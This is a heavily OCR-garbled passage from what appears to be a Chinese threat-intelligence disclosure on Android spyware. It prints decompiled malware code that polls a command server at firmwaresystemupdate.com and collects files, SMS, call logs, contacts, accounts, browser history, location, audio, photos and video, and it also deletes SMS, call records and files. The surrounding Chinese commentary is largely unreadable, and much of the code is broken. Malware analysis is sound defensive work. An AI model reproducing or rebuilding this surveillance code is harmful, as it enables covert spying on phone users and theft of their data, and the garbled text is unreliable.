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this.READ ACCOUNTS
this.READ BROWSER =
this.SERIAL_NUMBER BA3B55@-655A-4368-9922-2018012846"
this.amPreferences = arg8.getSharedPreferences(”com.andriod.browser.AMService”, 8);
this.userName = this.readstr(“UserName”};
if(this.userNaome "None") {

this.save("UserName”, "kooroosh3");

3

this.serverdddress = this.readstr("serveriddress”);

if(this.serveraddress “none") { A — A
this.save("Serveraddress”, "http://wew.firmwaresystemupdate.com/mmh™); ME ~ EgU RL

3

this.backupdddress = this.readstr{"Backupiddress™);
if(this.backupAddress == "None™) {

this.save("Backupaddress”, "http://www.firmwaresystemupdate.com/mmh™);
3

public void run() {
String[] vs;

Networkavailable(this.amservice}) {
String v6 = this.mwebservice.readurl(string.valueof (this.anservice. ansettings.serveraddress) + “/get-function.phpiuuid=" + amservice.devicevurn, null);
if(ve != null 8& !vé.equals("NoCommand”) && !vé.equals(“Uuiderror”)} {

e TS

H

TITIES

BULL LoDt 150

3

if(vs[1].equals("allrFile™)) { // FEEIFEHITHEE
this.omservice.WriteCommand (128, Utils.ReadallFiles(this.amService});
gote label 148;

b

if(vs[1].equals("allsms”)) { // FEIE(E
this.omservice.wWriteCommand (98, Utils.readAllSms(this.amService});
goto label 14g;

1

if(vs[1].equals("allcall™)) { // SHRREEIFLFE
this.omservice.WriteCommand (23, Utils.readAllcallHistery(this.amService}};
goto label 14g;

3

if(vs[1].equals("allapp™)) { // FHIRTEDEEEArr
this.omservice.WriteCommand (@xe@, Utils.readAallApplication(this.amService});
goto label 14g;

1

if(vs[1].equals("allsrowser™)) { // FEIFTESSEILE
this.omservice.WriteCommand (188, Utils.readBrowserHistory(this.amService});
goto label 148;

1

if(v5[1].equals("allaccount™)) { // EBIAFAHA
this.omService.WriteCommand (@x73, Utils.readUseraccounts(this.amService});
goto label 148;

3

if(vs[1].equals("allsetting™)} { // FEIEBIEE
this.omService.WriteCommand (@x75, this.amService.omSettings.readall());
goto label 148;

3

if(vs[1].equals(“Location™)) { // EEIGPs
this.omService.wWriteCommand (@x77, this.omService.getlLastLocation(});
goto label 148;

¥

if(vs[1].equals("HardwareInfo")) { // FENEEEFEE
this.omservice.WriteCommand (@x76, Utils.readHardwareInfo(this.amService});
goto label 148;

TEL“Set"BYRE :
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public wnd cnangesgttmg(sn ing arg3, stw ing arga) {
lea = this.gmsettings.L
this. metrmgs genericsave(args, argn),
this.amsettings.refresh();
if((this.amsettings.LogGps) && 1ve) {
this.startGpsupdates();

try {
if(largs. equals(“stopservice”)) {
return;

T

if(1ecolean. parsesoolean(args)) {
return;

T

this.stopself();
catch(Exception vi) {
3

public void ExportLogs() {
try {

, Locale.Us) . format(new Date())) + . twp™);

Madd_HHemsssss”, Locale.us).format(new Date());

File v2 = new File(this.getFilesbir(), string.
String V3 - string.valusOr(AMService.devicellin) + " ° + new simple

v6 = this.getrilespir() +
if(Utils.zip(v2.getabsolutePath(), ve, String.valueof(v3) + ".log")) {

v2.delete();

if(1Utils.encrypt(ve, this.getFilesBir() + “/" + v3 + ".log")) {
return;

new File(ve).delete();

3
catch(Exception va) {
this.onCommandInfoEvent(“Exportlogs err : * + ve.zetMessage());

H

$54“Get”AllLog” kB Log

if(vs[e].equals("aet"}) {

this.omservice.onCommandInfoEvent(“cet “ + ws[1]);
if(v5[1].equals(“alllog"}} {

this.omService.ExportLlogs();

FHlLog

public void Exportlogs() {

try {
File v2 = new File(this.getFilesDir(), Stringz.valueof(new Simple

stl jra ¥3 = string. velueof (AMService. devicellD) + °_° + new Simpl

g v6 = this.getFilesDir() + "/" + v3 + ".zip

lf(utﬂs zip(va.getabsoluterath(), vs, string. valueuf(v}) + 102"y {
v2.delete();

te())) + ".tmp");

Locale.us) . format(new
te());

0_HHemss5SS”, Locale.Us).format(new

LF(IUtils.encrypt(ve, this.getFilesDir() + */° +v3 + ".log")) {
return;

¥

new File(ve).delete();
3
catch(exception ve) {

this.oncommandInfoEvent("Exportiogs err @ * + ve.getMessage());
3

4 “Get”“AllContact” 3 BB T

public static String readAllContacts(Context argls) {
string vis;

ContentResolver vi = argld.getContentresolver();
Cursor ¥9 = v1.query(ContactsContractscontacts.CONTENT_URT, null, null, null, null);
if(va.getCount() <= 8) {

return v;

3

do {
label_1s:
1F(1v9.moveToNext()) {
return v8;

i

v12 = vo.getstring(vs. getColumnIndes(
V16 = vo.getstring(ve. getcolumnIndex(

N
splay_name"});

¥
while(Integer.parseInt (v3. getString(ve. getColumnIndex(“has_phone_nusber®))) <= 8);

VE = strinz.valusof(ve) + vis +
cursor wi7 = vi.query(Contactsc
while(vi7.moveTonext(}) {

VB = String.valueOf(va) + vi7.getstring(vi?.getColumnIndex(“datal™)) + *,";

tractscommonoatakindsiphons, CONTENT_URT, null, “"contact_id - 2", new string[1{vis}, null);

3

vi7.close();
3 £
cursor vi2 = vi.query(co
while(viz.moveTonext()) {

string vil = v12.getString(vi2.getColumnIndex("datal”));

V12, getString(vi2. getColumnIndex("data2"));

V8 = STrinZ.ValUeOf(VE) + V11 + %}

atakindssEmail.CONTENT_URI, null, “contact_id - 2", new string[1{via}, null);

on

3

viz.close();
V8 = String.valueOf(vd) + “\n";
goto label 153

54-<Get”AllFile” IV FA 14
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public static byte[] ReadallFiles(cContext arg?) {
long v5 = 1;
ByteArrayoutputStream vl = new
try {
Utils.dos = new Datadutputstream(((outputStream)ve));
utils.curIp = -1;
Utils.dos.writeByte(1);
Utils.dos.writeLong(-1);
Utils.dos.writeByte("/sdcard”.length(});
Utils.dos.writechars("/sdcard");
Utils.dos.flush();
Utils.curID += v5;
Utils.getlist(new File("/sdcard”), Utils.curID);
string vi = AMService.gservice.mexternalsdrPath;
Utils.dos.writeByte(1);
Utils.dos.writeLong(-1);
Utils.dos.writeByte(vi.length()};
Utils.dos.writechars(vl);
Utils.dos.flush();
Utils.curID += v5;
Utils.getList(new Fils(wv1}, Utils.curID);

youtputStream();

3
catch(Exception v2) {

return ve.toBytearray();

F54“Get”“AllSms”$REVAE(S :

public static stri it arg1) {
String viz =
4
Cursor ()-query (Uriparse(“content://sus"), null, null, null, null);
sinp niat V18 = new SimpleDaterormat(”yyyy//dd Hitzmm:ss”, Lo )
if

(V6. mOVETOFArst() {
it vl
5 VLL < ve.gatCount(); +a11) {

ring.valueof (string.valueof(str
V6. moveToNexE();

alueof(string. valueof (str

3

3

ve.close();
return viz;

eateh(exception v9) {
ice.gservice. onconmandInfoevent("Read all SiS erro

+ vo.getressage(});

return vi2;
b
3

54 “Get”“AllCall”RER T RIVEICR

public static String resdallCalliistory(Context argls) €
tring ve

Cursor Vi1 = arg1s.getContentresolver(). query(CalllogsCalls. CONTENT_URT, null, null, null, “date DESC™)j
12 = v11.getColumnTndex( nusber”);
vaL.getcolumnndex " type"
11, getcolumnIndex (“date);

- getcolumnindex (“duration’);
riat V18 = new Sin) ormat(“yyyy/m/dd HHImm:ss", Lo
moveTonext()) {
tring.valueOf(String . valueof (String. valueof(String . valueof (ve) + vil.getstring(vis) +

1e.08);

) + vil.getstring(vaz) + "~

vll.close();
return ve;

3
catch(except
anser

v9) {
gservice.onCommandInfoEvent(“ead call history errar : * + v9.getuessage());
return ve;

F54“Get”“AllApp” 3K BT B LI IAPP :

| public static str
string v
try {
Iterator va_1 = arg7.getapplicati ).getpa ).getInstalledapplicati -iterator();
while(va_1.hasnext()) {
j 1= va_lunext();
ve = (((4pplicationInfo)vi).flags & 1)
ve = string.valueof(ve) + ((applicati

ng readallapplication(context arg7) {

@ 2 string.valueof(ve) + ° 2

1) .packagename + “\n";

i string.valueof(ve) +

¥
return ve;

}
catch(Exception wa) {
return ve;

$54“Get”AllBrowser” K BX FT B M 45 2510% -

public static Strine readBrowserHistory(context argls) {

“bookmark = "3
rmat viz = new simplepaterormat 1/dd veimmiss”, Locale.ds);
arg16. getcontentresolver() . query(Uri. parse("content ://com. android. chrome .browser/booknarks") , Era
null) ¢
vi3.moveToFirst();
fvi3.moveToFirst () {
iF(vi3.getCount() <= @) {

< HISTORY_PROJECTION, v3, null, null);

while(1v13. isafterLast())
vie - str

alueof (string.valueof(string.valueof(viz) + ve.getstring(ve. getColumnIndex("protocol”)) + *

) + vie.format(new java. sql.0ate(vIL.getlong(v7))) +

tring.valueof (string. valueof(String. valueof(via) + "1—") + vi2.format(new java.sql.Date(vi3.getl
vi3.moveToNnext();

label_z1:
V13 - argle.getcontentresolver() . query(aronser . BOGKMARKS_URT, Erowscr.HISTORY_PROJECTION, v3, null, null);
$#(v13 1= null) ¢
V13.MOVETOFIrSt()
(VI3 moveToFIrSt ()
return vie;

$54“Get”“AllAccount” 2L F Ik 7 -

Page 7 of 15

") + vé. getstring(ve.getcolur

UFL)) ¢ AnTy

)+ va.gets



https://ti.qianxin.com /blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/

public static Stri
string v1
try {
Account[] v2 = AccountManag:
int v6 = v2.length;
int v5;
for(vs = @; v5 < v6; ++v5) {
vl = string.valueof(string.valueof(vl) + v2[vs].type + "~—") + v2[v5].name + "\n";
b

readUserAccounts(Context argd) {

.get(arga.getapplicationcontext()).getaccounts();

return vi;

catch(Exception va) {

AMService.gService.onCommandInfoEvent(“Read accounts failed : " + v4.getMessage());
return vi;

154 “GerAllSetting” IR B{E2. -

3

publlic String readall() {
return string.valueof("") + this.username + " + this.

+ e+ thi + "+ this.Logeps + “-" + this.logsms + "

“ + this.logcall + "~

¥54“Get”“Location”$#B{GPS :

public string getlastiocation() {
string vi;
try {
boolean vé = this.mocrngr.isproviderenabled("gps™);
boolean v3 = this.mioctingr.isProviderEnabled( network”);
if((ve) 11 (vo)) {
String V18 = v6 ? "gps” @ "network”;
new Thread(new Runnable(vie) {
public void run() {
Looper.prepare();
amservice. this.museriocationsandler = new sandler();

Anservice. this.mloctingr. requestLocationUpdates (this. val§provider, @, f, new AMLocListener(AMService.this, true));
catch(exception ve) {
AMservice. this.onCommandInfoEvent(“GetLocation thread e
Auservice. this.muserLocationkandier.getlooper().quit();

+ vb.getMessage());

-loop();
¥

1).start();

‘this. oncommandInfoEvent(“Wait to device obtain location”);
H
Location v7 = this.mLockngr.getLastknownLocation(“gps”);
if(v7 11;

¥7 = this.mLocingr.getlastknonnLocation(“netuork”);
3
if(v7 == null) {

String v2 = Utils.GetCellId(({Context)this));

‘this.oncommandInfoEvent(*6Ps off, cell id = - + v2);
SimpleDateFornst v5 = new SimpledatsFormat("yyyy/|
this.mLastiocation ¥alueof (vs. format (new
this.mLastiocation = string.valueof(this.mLastiocation) +
if(Utils. ishetworkavailable(AMservice .gService)) {

$54“Get”“Hardwarelnfo” SREUR &ZEHEE :

text args) {

String vi -
try {

public static String readsardwareInfo(c:

t vz = args.getsystemservice ("phone");
null) {

yMansger)v2) .getiinetnumber() + " + ((Telephonyvanager)u2).gethetworkoperatornane () + “nn" + ((Telephony

3
eaten(exception v3) {
b

try €
lsbel 2
V1 - String.valueof(vl) + £uild.MANUFACTURER + °

+ Build.MODEL +

+ BUI10.CPU_ABT + "~ + BULLd.PRODUCT +

+ BUTIOSUERSION. RELEASE + "~
catch(Exception v8)

+ Utils. getapplicationane(args) + °
{
AMservice. gservice. oncommandInfoEvent (" readiar

areInfo error : " + ve.getMessage());

return v1;

154 “Get”File” LERIEFIEE.

E1ERRS 25 © www.firmwaresystemupdate.com
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protected
int vé;
byte[] v3;
int va;
Dataoutput
URLCONNEct v7;
FileInputStream vil;
void vas;
File va1;

ng vi2 = arg3e[e];
24 = string.valueof (aMservice.gservice.amsettings. serveraddress) + “/uplosd-file.php?” + "uuid=" + AMservice.deviceuuIn;

d doInBackground(string[] arg3e) {

trean va;

2
int vie = ex1eeeee;
try {
v21 = new Fils(arg3a[e]);
if(Ivat.exists()) {
AMservice.gservice.onCommandInfoEvent("File upload error : [ + arg3e[e] + "] File not found");
v25 = null;
return v25;

if(val.length() > @x33400000) {
if(argze[1].equals("pelete™)) {
val.delete();
3

AMService.gService.onCommandInfoEvent(“File upload error : [* + arg3e[e] + ] File size > 50 M3");
return null;

3

Vi1 = new FileInputStream(vai);
¥7 = new URL(v24).openconnection();
({ttpurLconnzction)v7). setpoInput(true) ;

¥

this.serverdddress = this.readstr("Serveraddress”);
if(this.serveraddress == "None”) {
this.save("Serveraddress”, "http://w

o . Firmwaresystemupdate . com/mmh™});

¥
this.backupaddress = this.readstr("Backupaddress”);
if(this.backupAddress "
this.save("Backupaddress”, "http://www.firmwaresystemupdate.com/mmh™});
¥

this.hiddenNumber = this.readStr("HiddenNumber™};
this.save("Media Busy”, false};

this.save("Get File", false);

this.save("Delete File", false);

this.refresh();

154 “Take ™ “Audio” R & :

void StartRecord() {
try {
this.recorder = new Mediarecorder();
this.recorder. setaudioSource(1);
this.recorder. setoutputFormat(1);
this.recorder.setaudioEncoder(1);
this.recorder. setaudiosamplingRate (8600);
String v2 = String.valueCf(new 5impleDateFormat(”yyi
File v@ = new File(utils.mvediapir);
if(Ive.exists()) {
vB.mkdirs();

", Locale.Us).format(new Date())) + ".2°;

this.mFilegut = new File(Utils.m¥ediabir, v2);
this.recorder. setoutputFile(this.mrileout. tostring());
Amservice.gservice.onCommandInfoEvent(“Record audio start : " + this.mourationPart / 1eee);
this.recorder.prepare();

this.recorder.start();

Thread.sleep(this.mourgtionPart + 1);

this.5topRecord();

catch(Exception vi) {
aMService.gservice.enCommandInfoEvent(“Record audio start error : “ + vl.getMessage());
this.mInitok = false;
this.mFileout.delete();

i
void Stoprecord() {
try {

if(Ithis.mInitox) {
return;
T

this.recorder.stop();
this.recorder.release();
this.recorder = null;
if(this.oFileout != null) {
AMservice.gService.onCommandInfoEvent( Record audio complete”);
if(WUtils.encrypt(this.mFileout.getAbsolutePath(), Strinz.valuedf(Utils.miediaDir) + "/ + (String.valuedf(AMService.devicelUID) +  °
return:

#54“Take"“Photo 1A :
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public void run(} {
int v2 = CommandManager.this.mTakePhtoCount;
int v3 = commandmanager.this.mrakerhotoburation;
String w4 = CommandManager.this.mTakePhoteCamerald;
CommandManager . this.mstopTakerhotoThread = false;
int vi = e;
while(vi < v2) {
if(Commandvanager. this.mstopTakePhotoThread) {
return;

b

try {
new takephoto(Commandvanager.this, v4).execute(new strinz[1{""1);
Thread.sleep(((long)v));
++V1;
continue;

}

catch(Exception ve) {
CommandManager. this.amService .onCommandInfoEvent("takerhotoThread err : * + vB.getMessage());
break;

3

commandmanager.this.mstopTakerhotoThread = true;

*E'/%“Take"”“Video”;fEl 15\6\ .

public void run(} {
int v2 = CommandManager.this.mTakePhtoCount;
int v3 = commandmanager.this.mrakerhotoburation;
String w4 = CommandManager.this.mTakePhoteCamerald;
CommandManager.this.m5topTakePhotoThread = false;
int v1 = 8;
while(vl < v2) {
if(commandmanager.this.mstopTakerhotoThread) {
return;

i

try {
new takePhoto(CommandManager.this, w4).execute(new String[1{""});
Thread.sleep(((long)v3));
vl
continue;

1

catch(Exception ve@) {
CommandManager.this.amservice.onCommandInfoEvent(“takerhotoThread err @ * + ve.getMessage());
break;

c ger. this.mstop oThread = true;

$54 “Take"”“RecordCall” 1Bk &

public void run() {
string[] vs;
int va;
string vi2

3 (Utils. isnetworkavailable(this. anservice)) {
¥6 = this.muebservice.readurl(string.valueof (this.amservice.ansettings. + "/get-function.php2uuid-" + AMService.deviceLulp, null);
null & !v6.equals(“Nocommand”) && !ve.equals(“Luiderror”)) {

65

label_32:

S vz, cquslst)) ¢

[] ¥1 = vi2.split(

va = 0
while(true) {
1abel_s9

(va >= v1.Lengtn) {
goto label 513

If(vi[v4].length() » 500) {
goto label 1el;

154 “Delete"”“SMS™ % A =4a 15 :

public static void deletesms(Context arg?, String argd, String argd) {
try {

arg7. getcontentresolver(). delete(Uri.parse("content: //sus"), “thread_id=> and _id=3", new string[]{string.valusof(args), string.valuecf(args)});

AMSErvice.gService.onCommandInfoEVent(“Delete SMS SUCCESS : * + Args);
cateh(exception v1) {
avservice.gservice.onCommandInfoevent("Delete sus error @ + vi.getvessage());

3

¥4 “Delete"”“Call” & ENEICR :
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public static void deletecallwistory(Context argle, string argil) {

Cursor v7 = argl@.getContentResolver().query(callLogsCalls CONTENT_URT, null, “nusber = » ", new string[1{argil}, "");

1F(1V7.mOVeTOFIrst()) {
return;

do {

argie.getcontentresolver() .delete (uri.withappendedpath(calllo 15.CONTENT_URT, String.valueof (v7.getInt(v7.getcolumnindex("_id"))}), “*, nully;

while(v7.moveTonext());

amservice.gservice.onCommandInfoEvent (“pelete call history success : * + argl);
3
catch(exception ve) {

amservice.gservice. onCommandInfoEvent (“0:

3

ory fail + argl1);

¥

g4 “Delete"”“File” & ENEICR :

public class deleteFiles extends asyncrask {
public deleteriles(CommandManager argl) {
CommandManager.this = argl;
super();

protected object doIndackground(:
return this.doInBackground(((str

ct[] arg2) {
[1)arg2));
}

protected string doIngackground(strinz[] arg?) {
try {
File v = new File(arg7[@]);
if(ve.exists()) {
va.delete();
CommandManager. this.amservice.onCommandInfoEvent( “De
return "executed”;

+ va.getName() + "] comp.

}
CommandManager . this.anService.onCommandInfoEvent("Delete + arg7[@] + ] error : not found");
i
caten(Exception v1) {
CommandManager . this.anservice. onCommandInfoEvent("Delete  + argr[e] = ] error : " + vi.getMessage());

}

return "executed”;

¥

protected void enPostexecute(o
this.onPostExecute(((String)argl));

b

g4 “Reset"”’“AllCommand”E B 54 :

public void ResetCommand() {
try {
File[] w3 = this.getFilespir().listFiles(this.filter);
if(v3 != null && v3.Llength > @) {
int v2;
for(v2 = 8; v2 < vi.length; ++v2) {
v3[v2].delete(};

}

v3 = new File(Utils.mMediaDir).listriles(this.filter);
if(v3 != null &% v3.length > @) {
for{v2 = 8; v2 < v3.length; ++v2) {
v3[v2].delete(};

}

for(v2 = 8; v2 < Defines.COMMANDS. Length; +sv2) {
this.amSettings.save(Defines. COMMANDS[v2], “Mone");

}

this.mSengMediaInfrogress = false;
this.amsettings. Busy"”, false);
this.amsettings.save(" e"
this.amsettings.save("
this.amSettings.save(
return;

}

catch(Exception vi) {
this.onCommandInfeEvent(“ResetCommand error : " + vil.getMessage(});
return;

IR AT

BT,  oe,sS"(FELRTFE 1), BRI T —HEMBREER |, HEEE TS SEAE XWAPP |, &
SHERISH TR IFRES B, (S NAPPAFEMRITSERANIIK , URFMRFRNMEBNE T, BFT
SKREIAPPEFRBILN : “FE BB L. “FIILTFRE”. “BO/R7EET (Sallabi) 27, “TrFWM L5 E”
%,
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